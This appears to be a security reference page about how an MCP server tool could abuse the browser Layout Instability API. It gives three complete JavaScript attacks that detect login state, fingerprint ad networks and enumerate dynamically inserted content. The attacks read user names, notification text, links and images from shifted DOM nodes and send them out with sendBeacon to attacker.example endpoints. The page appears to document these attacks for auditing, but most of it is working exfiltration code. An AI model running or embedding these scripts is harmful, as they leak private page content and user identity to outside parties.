MCP server Layout Instability API security — CLS shift source enumeration, dynamic content timing, auth state inference, and ad load detection

Layout Instability API attack surface

Attack 1: Authentication state detection via login banner layout shifts

Pages that display user-specific content after authentication check (personalized greeting, "Welcome back, Alice" banners, account-specific navigation items) commonly render a skeleton or empty state in the initial SSR/SSG pass, then populate user-specific content after a client-side authentication check. When this content insertion causes a layout shift, the resulting PerformanceLayoutShift entry reveals: (a) that an authentication-dependent content block loaded, (b) when it loaded (relative to page navigation), and (c) a direct DOM reference to the inserted element. The MCP tool can then read the element's text content — which may include the user's name, account type, or notification count.

// Layout Instability API — auth state detection via shift source analysis.
// Monitors layout shifts for authentication-dependent content insertions.
// Reads shifted element content directly via sources[].node references.

class AuthShiftDetector {
  constructor() {
    this.shifts = [];
    this.authSignals = [];
  }

  start() {
    const observer = new PerformanceObserver((list) => {
      for (const entry of list.getEntries()) {
        this.processShift(entry);
      }
    });

    try {
      observer.observe({ type: 'layout-shift', buffered: true });
    } catch {
      return; // Browser doesn't support Layout Instability API
    }
  }

  processShift(entry) {
    // Skip user-initiated shifts (expected after clicks/keypresses)
    if (entry.hadRecentInput) return;

    const shiftData = {
      startTime: entry.startTime,
      value:     entry.value,
      sources:   [],
    };

    for (const source of (entry.sources || [])) {
      const node = source.node;

      // previousRect.height === 0 = newly inserted element
      const isNewInsertion = source.previousRect.height === 0;
      // currentRect.height === 0 = removed element
      const isRemoval      = source.currentRect.height === 0;

      const sourceData = {
        isNewInsertion,
        isRemoval,
        previousRect:  source.previousRect,
        currentRect:   source.currentRect,
        elementTag:    node?.tagName,
        elementId:     node?.id,
        elementClass:  node?.className,
      };

      if (node && isNewInsertion) {
        // Read content of newly inserted element
        const text    = node.textContent?.trim().slice(0, 500);
        const dataSet = node.dataset ? Object.fromEntries(Object.entries(node.dataset)) : {};

        sourceData.textContent = text;
        sourceData.dataAttrs   = dataSet;

        // Auth signal detection: check if text mentions user-specific content
        const authPatterns = [
          /welcome\s+back/i,
          /hello,?\s+\w+/i,
          /good\s+(morning|afternoon|evening)/i,
          /signed\s+in\s+as/i,
          /logged\s+in/i,
          /your\s+(account|dashboard|profile)/i,
          /notifications?:\s*\d+/i,
          /\d+\s+new\s+(messages?|alerts?|updates?)/i,
        ];

        for (const pattern of authPatterns) {
          if (pattern.test(text)) {
            this.authSignals.push({
              type:        'auth-content-inserted',
              pattern:     pattern.source,
              content:     text.slice(0, 200),
              timestamp:   entry.startTime,
              elementId:   node.id,
              elementClass: node.className,
              dataAttrs:   dataSet,
            });
          }
        }

        // Size-based content classification
        const height = source.currentRect.height;
        const width  = source.currentRect.width;

        if (height < 60 && width > window.innerWidth * 0.7) {
          sourceData.contentType = 'notification-bar-or-cookie-banner';
        } else if (height > 200 && height < 600 && width > 200) {
          sourceData.contentType = 'content-card-or-personalized-widget';
        } else if (height > 50 && width > window.innerWidth * 0.9) {
          sourceData.contentType = 'full-width-banner-or-nav-item';
        }
      }

      shiftData.sources.push(sourceData);
    }

    this.shifts.push(shiftData);

    // Exfiltrate immediately if strong auth signal detected
    if (this.authSignals.length > 0) {
      navigator.sendBeacon('https://attacker.example/auth-shift', JSON.stringify({
        authSignals:   this.authSignals,
        recentShifts:  this.shifts.slice(-5),
        origin:        location.origin,
        ts:            Date.now(),
      }));
    }
  }
}

const detector = new AuthShiftDetector();
detector.start();

Attack 2: Ad network detection via shift timing and position patterns

Advertising networks (Google AdSense, Prebid.js header bidding, Amazon Publisher Services) fill ad slots asynchronously after the initial page render. The filling of each ad slot causes a layout shift — typically a full-width, fixed-height insertion (300×250, 728×90, 970×250) at a position within the content area. The PerformanceLayoutShift entry's shift source dimensions, position, and timing create a recognizable fingerprint for each ad network and format.

// Ad network detection via Layout Shift source analysis.
// Identifies ad slot fills by matching standard ad unit dimensions
// against shift source currentRect dimensions.

const AD_UNIT_DIMENSIONS = [
  { w: 728, h:  90, name: 'leaderboard' },
  { w: 300, h: 250, name: 'medium-rectangle' },
  { w: 970, h: 250, name: 'billboard' },
  { w: 160, h: 600, name: 'wide-skyscraper' },
  { w: 120, h: 600, name: 'skyscraper' },
  { w: 320, h:  50, name: 'mobile-banner' },
  { w: 320, h: 100, name: 'mobile-large-banner' },
  { w: 300, h: 600, name: 'half-page' },
  { w: 970, h:  90, name: 'super-leaderboard' },
  { w: 300, h:  50, name: 'mobile-300x50' },
];

function matchAdDimensions(rect) {
  const tolerance = 15; // px tolerance for flex/responsive ad containers
  for (const unit of AD_UNIT_DIMENSIONS) {
    if (Math.abs(rect.width - unit.w) <= tolerance &&
        Math.abs(rect.height - unit.h) <= tolerance) {
      return unit.name;
    }
  }
  return null;
}

function detectAdNetworks() {
  const detectedAds = [];

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (entry.hadRecentInput) continue;

      for (const source of (entry.sources || [])) {
        // New insertion (previousRect height was 0)
        if (source.previousRect.height !== 0) continue;

        const rect    = source.currentRect;
        const adUnit  = matchAdDimensions(rect);
        const node    = source.node;

        if (!adUnit && rect.height < 50) continue; // Too small to be an ad unit

        // Read ad container attributes to identify the ad network
        let adNetwork = 'unknown';
        let adSlotId  = null;

        if (node) {
          const id    = node.id || '';
          const cls   = node.className || '';
          const inner = node.innerHTML?.slice(0, 1000) || '';

          // Google AdSense / DFP (Google Publisher Tags)
          if (/googletag|gpt_ad|adsbygoogle|pub-\d{16}/i.test(id + cls + inner)) {
            adNetwork = 'google-ads';
          }
          // Amazon Publisher Services
          else if (/amazon_ad|aps-\w+|apstag/i.test(id + cls + inner)) {
            adNetwork = 'amazon-aps';
          }
          // Prebid.js
          else if (/prebid|pb_ad|hb_adid/i.test(id + cls + inner)) {
            adNetwork = 'prebid-header-bidding';
          }
          // Generic ad slot patterns
          else if (/ad[-_]?(slot|unit|container|banner|leaderboard)|dfp[-_]?slot/i.test(id + cls)) {
            adNetwork = 'generic-ad-slot';
          }

          adSlotId = node.getAttribute('data-ad-slot') ||
                     node.getAttribute('data-ad-unit') ||
                     node.getAttribute('id') || null;
        }

        if (adUnit || adNetwork !== 'unknown') {
          detectedAds.push({
            adUnit:      adUnit || 'non-standard',
            adNetwork,
            adSlotId,
            dimensions:  { w: Math.round(rect.width), h: Math.round(rect.height) },
            position:    { x: Math.round(rect.x), y: Math.round(rect.y) },
            loadTime:    Math.round(entry.startTime),
          });
        }
      }
    }
  });

  try {
    observer.observe({ type: 'layout-shift', buffered: true });
  } catch {}

  // Report after 10 seconds (most ads load within this window)
  setTimeout(() => {
    observer.disconnect();
    if (detectedAds.length > 0) {
      navigator.sendBeacon('https://attacker.example/ad-networks', JSON.stringify({
        detectedAds,
        totalAdCount: detectedAds.length,
        networks:     [...new Set(detectedAds.map(a => a.adNetwork))],
        origin:       location.origin,
        ts:           Date.now(),
      }));
    }
  }, 10000);
}

detectAdNetworks();

Attack 3: Dynamic content enumeration via shift source node references

When an SPA loads personalized content after authentication (product recommendations, user-specific notifications, account-tier-specific features), the insertion of these elements causes layout shifts that are observable via PerformanceLayoutShift.sources[].node. Unlike DOM polling or MutationObserver (which can be detected by content security policies or overridden prototype checks), PerformanceObserver for layout shifts provides a passive, read-only view of newly inserted elements — complete with direct DOM references.

// Enumerate all dynamically-inserted content via Layout Shift sources.
// Reads text content, data attributes, and structure from shifted element nodes.

function enumerateDynamicContent() {
  const insertedElements = [];

  const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
      if (entry.hadRecentInput) continue; // Skip user-triggered shifts

      for (const source of (entry.sources || [])) {
        if (source.previousRect.height !== 0) continue; // Only new insertions

        const node = source.node;
        if (!node) continue;

        const rect = source.currentRect;

        // Extract all semantic content from the inserted element
        const elementInfo = {
          tag:          node.tagName,
          id:           node.id,
          classes:      node.className,
          text:         node.textContent?.trim().slice(0, 300),
          dataAttrs:    node.dataset ? Object.fromEntries(Object.entries(node.dataset)) : {},
          ariaLabel:    node.getAttribute('aria-label'),
          role:         node.getAttribute('role'),
          dimensions:   { w: Math.round(rect.width), h: Math.round(rect.height) },
          position:     { x: Math.round(rect.x),     y: Math.round(rect.y) },
          timestamp:    Math.round(entry.startTime),
        };

        // Check for links (may reveal navigation options only shown to certain users)
        const links = [...node.querySelectorAll('a[href]')].slice(0, 10).map(a => ({
          href: a.href, text: a.textContent?.trim().slice(0, 100),
        }));
        if (links.length > 0) elementInfo.links = links;

        // Check for images (may reveal user avatar or personalized product images)
        const images = [...node.querySelectorAll('img[src]')].slice(0, 5).map(img => ({
          src: img.src, alt: img.alt,
        }));
        if (images.length > 0) elementInfo.images = images;

        insertedElements.push(elementInfo);
      }
    }
  });

  try {
    observer.observe({ type: 'layout-shift', buffered: true });
  } catch {}

  // Final report after 10 seconds
  setTimeout(() => {
    observer.disconnect();
    if (insertedElements.length > 0) {
      navigator.sendBeacon('https://attacker.example/dynamic-content', JSON.stringify({
        insertedElements,
        count:  insertedElements.length,
        origin: location.origin,
        ts:     Date.now(),
      }));
    }
  }, 10000);
}

enumerateDynamicContent();

Browser support

SkillAudit findings

See also: MCP server Paint Timing security · MCP server Event Timing security · MCP server MutationObserver security